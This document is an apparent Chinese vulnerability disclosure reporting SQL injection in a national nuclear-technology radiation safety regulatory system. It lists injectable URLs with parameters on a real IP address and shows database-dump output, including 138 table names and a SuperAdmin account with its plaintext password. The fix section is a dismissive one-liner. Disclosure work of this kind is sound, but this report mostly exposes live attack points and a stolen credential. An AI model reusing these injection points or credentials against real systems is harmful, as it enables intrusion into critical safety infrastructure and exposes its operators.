漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-24: 厂商已经确认,细节仅向厂商公开
2014-10-04: 细节向核心白帽子及相关领域专家公开
2014-10-14: 细节向普通白帽子公开
2014-10-24: 细节向实习白帽子公开
2014-11-03: 细节向公众公开

简要描述:

国家核技术利用辐射安全监管系统SQl注入

详细说明:

注入URL:
https://1.202.234.22/admin/singlelogin.php?submit=1&loginId=1
https://1.202.234.22/admin/list_ipAddressPolicy.php?GroupId=1

1.JPG


2.JPG


available databases [6]:
[*] information_schema
[*] iscserver
[*] iscserver_bak
[*] mysql
[*] performance_schema
[*] test
Database: iscserver
[138 tables]
+-------------------------+
| Admin |
| ApplyUser |
| AutoRouteOutInfo |
| BandIPMac |
| CRLPublish |
| CertCRL |
| CertReq |
| ClientAppLog |
| Configure |
| CurrentFlowStat |
| CurrentFlowStatBak |
| DEVICE_CONFIG |
| Domain |
| DomainAdmin |
| EMailConfig |
| ExpiredISCUserTable |
| FireWall |
| GWCurrentFlowStat |
| GWCurrentFlowStatBak |
| GWHistoryFlowStat |
| GWLink |
| GWLinkExtInfo |
| GroupNoCachePolicy |
| HWFeature |
| HWFeatureReq |
| HistoryFlowStat |
| HostCount |
| ISCGWTable |
| ISCGroupAnticrack |
| ISCGroupTable |
| ISCGroupTimePolicy |
| ISCGroupUserLoginPolicy |
| ISCIPPool |
| ISCMemberTable |
| ISCOnLineUser |
| ISCRoute |
| ISCSPPolicy |
| ISCSSRoute |
| ISCUpdate |
| ISCUserActivity |
| ISCUserActivityLog |
| ISCUserTable |
| ISCWebPluginPolicy |
| ISCWebPluginRule |
| ISCWorkloadTable |
| ISC_Account_Template |
| ISC_Algorithm_Para |
| ISC_Auth_Algorithm |
| ISC_Auth_Method |
| ISC_Method_Para |
| IpAddressPolicy |
| Ipsec_Tunnel |
| LogTable |
| LogType |
| MT_IpPool |
| MailAdminTable |
| Menu_Style |
| MobileInfoTable |
| NAT |
| NATConfig |
| NatMap |
| Policy |
| PortMap |
| PortalMap |
| ProgramConf |
| ProxyBackDomainTable |
| ProxyConfigTable |
| ProxyMapTable |
| ProxyPolicyTable |
| Radius |
| ReplacePatternTable |
| ResourceCategoryTable |
| ResourceIconTable |
| Rule |
| RuleViolateLog |
| SToSRule |
| SingleLoginUser |
| SinglePointLogin |
| Sproxy_App |
| Sproxy_Policy |
| SystemAlarmLogTable |
| SystemAlarmTable |
| Tunnel |
| TunnelRoute |
| TunnelRouteMasq |
| UrlCount |
| UrlLogRules |
| UrlLogTable |
| UserLoginAnticrack |
| UserNameCount |
| VirtualSiteTable |
| WebAppAccount |
| WebAppDesktop |
| WebAppGroup |
| WebPolicyTable |
| WebServer |
| cp_AntiSpyware |
| cp_AntiVirus |
| cp_FireWall |
| cp_NACPolicy |
| cp_OS |
| cp_OSFWpolicy |
| cp_OSpath |
| cp_Program |
| fw_AddressInterpret |
| fw_AddressMasquerading |
| fw_BandIPMac |
| fw_BuildIP |
| fw_DAddressMasquerading |
| fw_FireWall |
| fw_NatMap |
| fw_PortMap |
| fw_Resource |
| fw_SAddressMasquerading |
| g_WebServer |
| hot_device |
| u_Admin |
| u_Apply |
| u_ApplyCardType |
| u_ApplyConfig |
| u_ApplyDept |
| u_ApplyLei |
| u_ApplyOffice |
| u_ApplyRole |
| u_ApplyUsePurpose |
| u_Autoshenhe |
| u_Dzzy |
| u_LogTable |
| u_Mail |
| u_Nat |
| u_Tu_jdt |
| u_Tu_zxt |
| u_Web_gonggao |
| u_Web_iptong |
| u_Web_wenti |
| u_Web_wentihf |
| u_Webconf |
| u_shenhePolicy |
+-------------------------+
Database: iscserver
Table: Admin
[1 entry]
+---------+--------+--------+------------+--------------------+-----------+
| AdminId | State | Passwd | AdminName | EmailAddr | Privilege |
+---------+--------+--------+------------+--------------------+-----------+
| 1 | active | dep501 | SuperAdmin | [email protected] | abcde |
+---------+--------+--------+------------+--------------------+-----------+

漏洞证明:

1.JPG


2.JPG

修复方案:

他们懂的

标签: none

评论已关闭